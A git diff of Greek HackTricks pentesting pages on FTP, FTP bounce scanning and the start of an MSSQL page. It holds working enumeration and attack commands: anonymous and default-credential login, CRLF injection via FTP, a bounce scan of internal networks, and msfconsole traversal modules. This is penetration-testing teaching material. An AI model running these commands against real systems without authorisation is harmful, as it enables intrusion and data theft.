Στο **Ενεργό FTP**, ο FTP **πελάτης** πρώτα **εκκινεί** τη σύνδεση ελέγχου από τη θύρα N του προς τη θύρα εντολών του FTP Διακομιστή - θύρα 21. Ο **πελάτης** στη συνέχεια **ακούει** στη θύρα **N+1** και στέλνει τη θύρα N+1 στον FTP Διακομιστή. Ο FTP **Διακομιστής** στη συνέχεια **εκκινεί** τη σύνδεση δεδομένων, από **τη θύρα M του προς τη θύρα N+1** του FTP Πελάτη.
|
Στο **Ενεργό FTP**, ο FTP **πελάτης** πρώτα **εκκινεί** τη σύνδεση ελέγχου από τη θύρα N του προς τη θύρα εντολών του FTP Διακομιστή - θύρα 21. Ο **πελάτης** στη συνέχεια **ακούει** στη θύρα **N+1** και στέλνει τη θύρα N+1 στον FTP Διακομιστή. Ο FTP **Διακομιστής** στη συνέχεια **εκκινεί** τη σύνδεση δεδομένων, από **τη θύρα M του προς τη θύρα N+1** του FTP Πελάτη.
|
||||||
|
@ -47,11 +49,14 @@ PORT STATE SERVICE
|
||||||
## Απαρίθμηση
|
## Απαρίθμηση
|
||||||
|
|
||||||
### Ανάκτηση Μπάνερ
|
### Ανάκτηση Μπάνερ
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
nc -vn <IP> 21
|
nc -vn <IP> 21
|
||||||
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
|
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
|
||||||
```
|
```
|
||||||
|
|
||||||
### Σύνδεση στο FTP χρησιμοποιώντας το starttls
|
### Σύνδεση στο FTP χρησιμοποιώντας το starttls
|
||||||
|
|
||||||
```
|
```
|
||||||
lftp
|
lftp
|
||||||
lftp :~> set ftp:ssl-force true
|
lftp :~> set ftp:ssl-force true
|
||||||
|
@ -61,13 +66,17 @@ lftp 10.10.10.208:~> login
|
||||||
Usage: login <user|URL> [<pass>]
|
Usage: login <user|URL> [<pass>]
|
||||||
lftp 10.10.10.208:~> login username Password
|
lftp 10.10.10.208:~> login username Password
|
||||||
```
|
```
|
||||||
|
|
||||||
### Ανεξουθενετική απαρίθμηση
|
### Ανεξουθενετική απαρίθμηση
|
||||||
|
|
||||||
Με το **nmap**
|
Με το **nmap**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sudo nmap -sV -p21 -sC -A 10.10.10.10
|
sudo nmap -sV -p21 -sC -A 10.10.10.10
|
||||||
```
|
```
|
||||||
|
|
||||||
Μπορείτε να χρησιμοποιήσετε τις εντολές `HELP` και `FEAT` για να λάβετε πληροφορίες για τον διακομιστή FTP:
|
Μπορείτε να χρησιμοποιήσετε τις εντολές `HELP` και `FEAT` για να λάβετε πληροφορίες για τον διακομιστή FTP:
|
||||||
|
|
||||||
```
|
```
|
||||||
HELP
|
HELP
|
||||||
214-The following commands are recognized (* =>'s unimplemented):
|
214-The following commands are recognized (* =>'s unimplemented):
|
||||||
|
@ -103,11 +112,13 @@ SIZE
|
||||||
STAT
|
STAT
|
||||||
#Info about the FTP server (version, configs, status...)
|
#Info about the FTP server (version, configs, status...)
|
||||||
```
|
```
|
||||||
|
|
||||||
### Ανώνυμη σύνδεση
|
### Ανώνυμη σύνδεση
|
||||||
|
|
||||||
_anonymous : anonymous_\
|
_anonymous : anonymous_\
|
||||||
_anonymous :_\
|
_anonymous :_\
|
||||||
_ftp : ftp_
|
_ftp : ftp_
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ftp <IP>
|
ftp <IP>
|
||||||
>anonymous
|
>anonymous
|
||||||
|
@ -117,6 +128,7 @@ ftp <IP>
|
||||||
>ascii #Set transmission to ascii instead of binary
|
>ascii #Set transmission to ascii instead of binary
|
||||||
>bye #exit
|
>bye #exit
|
||||||
```
|
```
|
||||||
|
|
||||||
### [Χυδαία επίθεση](../../generic-methodologies-and-resources/brute-force.md#ftp)
|
### [Χυδαία επίθεση](../../generic-methodologies-and-resources/brute-force.md#ftp)
|
||||||
|
|
||||||
Εδώ μπορείτε να βρείτε μια ωραία λίστα με προεπιλεγμένα διαπιστευτήρια ftp: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
|
Εδώ μπορείτε να βρείτε μια ωραία λίστα με προεπιλεγμένα διαπιστευτήρια ftp: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
|
||||||
|
@ -124,26 +136,34 @@ ftp <IP>
|
||||||
### Αυτοματοποιημένο
|
### Αυτοματοποιημένο
|
||||||
|
|
||||||
Οι έλεγχοι ανώνυμης σύνδεσης και αναπήδησης FTP εκτελούνται προεπιλεγμένα από το nmap με την επιλογή **-sC** ή:
|
Οι έλεγχοι ανώνυμης σύνδεσης και αναπήδησης FTP εκτελούνται προεπιλεγμένα από το nmap με την επιλογή **-sC** ή:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
nmap --script ftp-* -p 21 <ip>
|
nmap --script ftp-* -p 21 <ip>
|
||||||
```
|
```
|
||||||
|
|
||||||
## Σύνδεση μέσω περιηγητή
|
## Σύνδεση μέσω περιηγητή
|
||||||
|
|
||||||
Μπορείτε να συνδεθείτε σε έναν διακομιστή FTP χρησιμοποιώντας έναν περιηγητή (όπως ο Firefox) χρησιμοποιώντας ένα URL όπως:
|
Μπορείτε να συνδεθείτε σε έναν διακομιστή FTP χρησιμοποιώντας έναν περιηγητή (όπως ο Firefox) χρησιμοποιώντας ένα URL όπως:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ftp://anonymous:anonymous@10.10.10.98
|
ftp://anonymous:anonymous@10.10.10.98
|
||||||
```
|
```
|
||||||
|
|
||||||
Σημειώστε ότι εάν μια **εφαρμογή web** στέλνει δεδομένα που ελέγχει ο χρήστης **απευθείας σε έναν διακομιστή FTP**, μπορείτε να στείλετε διπλό κωδικοποιημένο URL `%0d%0a` (σε διπλή κωδικοποίηση URL αυτό είναι `%250d%250a`) bytes και να κάνετε τον **FTP server να εκτελέσει αυθαίρετες ενέργειες**. Μία από αυτές τις πιθανές αυθαίρετες ενέργειες είναι η λήψη περιεχομένου από έναν διακομιστή που ελέγχει ο χρήστης, η πραγματοποίηση σάρωσης θυρών ή η προσπάθεια επικοινωνίας με άλλες υπηρεσίες βασισμένες σε απλό κείμενο (όπως το http).
|
Σημειώστε ότι εάν μια **εφαρμογή web** στέλνει δεδομένα που ελέγχει ο χρήστης **απευθείας σε έναν διακομιστή FTP**, μπορείτε να στείλετε διπλό κωδικοποιημένο URL `%0d%0a` (σε διπλή κωδικοποίηση URL αυτό είναι `%250d%250a`) bytes και να κάνετε τον **FTP server να εκτελέσει αυθαίρετες ενέργειες**. Μία από αυτές τις πιθανές αυθαίρετες ενέργειες είναι η λήψη περιεχομένου από έναν διακομιστή που ελέγχει ο χρήστης, η πραγματοποίηση σάρωσης θυρών ή η προσπάθεια επικοινωνίας με άλλες υπηρεσίες βασισμένες σε απλό κείμενο (όπως το http).
|
||||||
|
|
||||||
## Λήψη όλων των αρχείων από το FTP
|
## Λήψη όλων των αρχείων από το FTP
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
|
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
|
||||||
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
|
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
|
||||||
```
|
```
|
||||||
|
|
||||||
Αν ο χρήστης/κωδικός πρόσβασής σας περιέχει ειδικούς χαρακτήρες, μπορεί να χρησιμοποιηθεί η [ακόλουθη εντολή](https://stackoverflow.com/a/113900/13647948):
|
Αν ο χρήστης/κωδικός πρόσβασής σας περιέχει ειδικούς χαρακτήρες, μπορεί να χρησιμοποιηθεί η [ακόλουθη εντολή](https://stackoverflow.com/a/113900/13647948):
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
||||||
```
|
```
|
||||||
|
|
||||||
## Μερικές εντολές FTP
|
## Μερικές εντολές FTP
|
||||||
|
|
||||||
* **`USER username`**
|
* **`USER username`**
|
||||||
|
@ -196,12 +216,14 @@ posts.txt
|
||||||
Το **FileZilla** συνήθως **δένεται** σε ένα **τοπικό** διαχειριστικό υπηρεσίας για το **FileZilla-Server** (θύρα 14147). Εάν μπορείτε να δημιουργήσετε ένα **τούνελ** από **τον υπολογιστή σας** για να έχετε πρόσβαση σε αυτήν τη θύρα, μπορείτε να **συνδεθείτε** σε αυτήν χρησιμοποιώντας ένα **κενό κωδικό πρόσβασης** και να **δημιουργήσετε** έναν **νέο χρήστη** για την υπηρεσία FTP.
|
Το **FileZilla** συνήθως **δένεται** σε ένα **τοπικό** διαχειριστικό υπηρεσίας για το **FileZilla-Server** (θύρα 14147). Εάν μπορείτε να δημιουργήσετε ένα **τούνελ** από **τον υπολογιστή σας** για να έχετε πρόσβαση σε αυτήν τη θύρα, μπορείτε να **συνδεθείτε** σε αυτήν χρησιμοποιώντας ένα **κενό κωδικό πρόσβασης** και να **δημιουργήσετε** έναν **νέο χρήστη** για την υπηρεσία FTP.
|
||||||
|
|
||||||
## Αρχεία ρυθμίσεων
|
## Αρχεία ρυθμίσεων
|
||||||
|
|
||||||
```
|
```
|
||||||
ftpusers
|
ftpusers
|
||||||
ftp.conf
|
ftp.conf
|
||||||
proftpd.conf
|
proftpd.conf
|
||||||
vsftpd.conf
|
vsftpd.conf
|
||||||
```
|
```
|
||||||
|
|
||||||
### Post-Exploitation
|
### Post-Exploitation
|
||||||
|
|
||||||
Η προεπιλεγμένη διαμόρφωση του vsFTPd μπορεί να βρεθεί στο `/etc/vsftpd.conf`. Εδώ, μπορείτε να βρείτε μερικές επικίνδυνες ρυθμίσεις:
|
Η προεπιλεγμένη διαμόρφωση του vsFTPd μπορεί να βρεθεί στο `/etc/vsftpd.conf`. Εδώ, μπορείτε να βρείτε μερικές επικίνδυνες ρυθμίσεις:
|
||||||
|
@ -225,13 +247,14 @@ vsftpd.conf
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://github.com/carlospolop/hacktricks/blob/gr/network-services-pentesting/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
## HackTricks Automatic Commands
|
## HackTricks Automatic Commands
|
||||||
|
|
||||||
```
|
```
|
||||||
Protocol_Name: FTP #Protocol Abbreviation if there is one.
|
Protocol_Name: FTP #Protocol Abbreviation if there is one.
|
||||||
Port_Number: 21 #Comma separated if there is more than one.
|
Port_Number: 21 #Comma separated if there is more than one.
|
||||||
|
@ -283,6 +306,7 @@ Description: FTP enumeration without the need to run msfconsole
|
||||||
Note: sourced from https://github.com/carlospolop/legion
|
Note: sourced from https://github.com/carlospolop/legion
|
||||||
Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit'
|
Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit'
|
||||||
```
|
```
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
|
@ -1,3 +1,5 @@
|
||||||
|
# FTP Bounce attack - Scan
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
@ -7,29 +9,29 @@
|
||||||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://github.com/carlospolop/hacktricks/blob/gr/network-services-pentesting/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
# FTP Bounce - Σάρωση
|
## FTP Bounce - Σάρωση
|
||||||
|
|
||||||
## Μη Αυτόματη
|
### Μη Αυτόματη
|
||||||
|
|
||||||
1. Συνδεθείτε στο ευάλωτο FTP
|
1. Συνδεθείτε στο ευάλωτο FTP
|
||||||
2. Χρησιμοποιήστε **`PORT`** ή **`EPRT`** (αλλά μόνο έναν από τους δύο) για να καθιερώσετε μια σύνδεση με το _\<IP:Port>_ που θέλετε να σαρώσετε:
|
2. Χρησιμοποιήστε **`PORT`** ή **`EPRT`** (αλλά μόνο έναν από τους δύο) για να καθιερώσετε μια σύνδεση με το _\<IP:Port>_ που θέλετε να σαρώσετε:
|
||||||
|
|
||||||
`PORT 172,32,80,80,0,8080`\
|
`PORT 172,32,80,80,0,8080`\
|
||||||
`EPRT |2|172.32.80.80|8080|`
|
`EPRT |2|172.32.80.80|8080|` 3. Χρησιμοποιήστε **`LIST`** (αυτό θα στείλει απλώς στο συνδεδεμένο _\<IP:Port>_ τη λίστα των τρεχουσών αρχείων στο φάκελο FTP) και ελέγξτε τις πιθανές απαντήσεις: `150 File status okay` (Αυτό σημαίνει ότι η θύρα είναι ανοιχτή) ή `425 No connection established` (Αυτό σημαίνει ότι η θύρα είναι κλειστή)
|
||||||
3. Χρησιμοποιήστε **`LIST`** (αυτό θα στείλει απλώς στο συνδεδεμένο _\<IP:Port>_ τη λίστα των τρεχουσών αρχείων στο φάκελο FTP) και ελέγξτε τις πιθανές απαντήσεις: `150 File status okay` (Αυτό σημαίνει ότι η θύρα είναι ανοιχτή) ή `425 No connection established` (Αυτό σημαίνει ότι η θύρα είναι κλειστή)
|
|
||||||
1. Αντί για `LIST` θα μπορούσατε επίσης να χρησιμοποιήσετε **`RETR /file/in/ftp`** και να αναζητήσετε παρόμοιες απαντήσεις `Άνοιγμα/Κλείσιμο`.
|
1. Αντί για `LIST` θα μπορούσατε επίσης να χρησιμοποιήσετε **`RETR /file/in/ftp`** και να αναζητήσετε παρόμοιες απαντήσεις `Άνοιγμα/Κλείσιμο`.
|
||||||
|
|
||||||
Παράδειγμα Χρήσης **PORT** (η θύρα 8080 του 172.32.80.80 είναι ανοιχτή και η θύρα 7777 είναι κλειστή):
|
Παράδειγμα Χρήσης **PORT** (η θύρα 8080 του 172.32.80.80 είναι ανοιχτή και η θύρα 7777 είναι κλειστή):
|
||||||
|
@ -44,19 +46,20 @@
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (228).png>)
|
![](<../../.gitbook/assets/image (228).png>)
|
||||||
|
|
||||||
## **nmap**
|
### **nmap**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
nmap -b <name>:<pass>@<ftp_server> <victim>
|
nmap -b <name>:<pass>@<ftp_server> <victim>
|
||||||
nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP
|
nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP
|
||||||
nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443
|
nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443
|
||||||
```
|
```
|
||||||
|
|
||||||
**Ομάδα Ασφαλείας Try Hard**
|
**Ομάδα Ασφαλείας Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://github.com/carlospolop/hacktricks/blob/gr/network-services-pentesting/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
@ -66,7 +69,7 @@ nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the interna
|
||||||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή τη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή τη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# 1433 - Ελέγχος Εισβολής MSSQL - Microsoft SQL Server
|
# 1433 - Pentesting MSSQL - Microsoft SQL Server
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -9,14 +9,14 @@
|
||||||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
**Ομάδα Ασφαλείας Try Hard**
|
**Ομάδα Ασφαλείας Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://github.com/carlospolop/hacktricks/blob/gr/network-services-pentesting/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -29,9 +29,11 @@
|
||||||
> **Microsoft SQL Server** είναι ένα **σύστημα διαχείρισης βάσεων δεδομένων** που αναπτύχθηκε από τη Microsoft. Ως server βάσης δεδομένων, είναι ένα προϊόν λογισμικού με κύρια λειτουργία την αποθήκευση και ανάκτηση δεδομένων όπως ζητείται από άλλες εφαρμογές λογισμικού - οι οποίες μπορεί να εκτελούνται είτε στον ίδιο υπολογιστή είτε σε άλλο υπολογιστή μέσω δικτύου (συμπεριλαμβανομένου του Διαδικτύου).
|
> **Microsoft SQL Server** είναι ένα **σύστημα διαχείρισης βάσεων δεδομένων** που αναπτύχθηκε από τη Microsoft. Ως server βάσης δεδομένων, είναι ένα προϊόν λογισμικού με κύρια λειτουργία την αποθήκευση και ανάκτηση δεδομένων όπως ζητείται από άλλες εφαρμογές λογισμικού - οι οποίες μπορεί να εκτελούνται είτε στον ίδιο υπολογιστή είτε σε άλλο υπολογιστή μέσω δικτύου (συμπεριλαμβανομένου του Διαδικτύου).
|
||||||
|
|
||||||
**Προεπιλεγμένη θύρα:** 1433
|
**Προεπιλεγμένη θύρα:** 1433
|
||||||
|
|
||||||
```
|
```
|
||||||
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
|
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
|
||||||
```
|
```
|
||||||
|
|
||||||
### **Προεπιλεγμένοι πίνακες συστήματος MS-SQL**
|
### **Προεπιλεγμένοι πίνακες συστήματος MS-SQL**
|
||||||
|
|
||||||
* **Βάση δεδομένων master**: Αυτή η βάση δεδομένων είναι κρίσιμη καθώς καταγράφει όλες τις λεπτομέρειες σε επίπεδο συστήματος για μια περίπτωση SQL Server.
|
* **Βάση δεδομένων master**: Αυτή η βάση δεδομένων είναι κρίσιμη καθώς καταγράφει όλες τις λεπτομέρειες σε επίπεδο συστήματος για μια περίπτωση SQL Server.
|
||||||
|
@ -40,21 +42,23 @@
|
||||||
* **Βάση δεδομένων Resource**: Μια βάση δεδομένων μόνο για ανάγνωση που φιλοξενεί συστημικά αντικείμενα που συνοδεύουν το SQL Server. Αυτά τα αντικείμενα, ενώ αποθηκεύονται φυσικά στη βάση δεδομένων Resource, παρουσιάζονται λογικά στο σχήμα sys κάθε βάσης δεδομένων.
|
* **Βάση δεδομένων Resource**: Μια βάση δεδομένων μόνο για ανάγνωση που φιλοξενεί συστημικά αντικείμενα που συνοδεύουν το SQL Server. Αυτά τα αντικείμενα, ενώ αποθηκεύονται φυσικά στη βάση δεδομένων Resource, παρουσιάζονται λογικά στο σχήμα sys κάθε βάσης δεδομένων.
|
||||||
* **Βάση δεδομένων tempdb**: Λειτουργεί ως προσωρινή περιοχή αποθήκευσης για προσωρινά αντικείμενα ή ενδιάμεσα σύνολα αποτελεσμάτων.
|
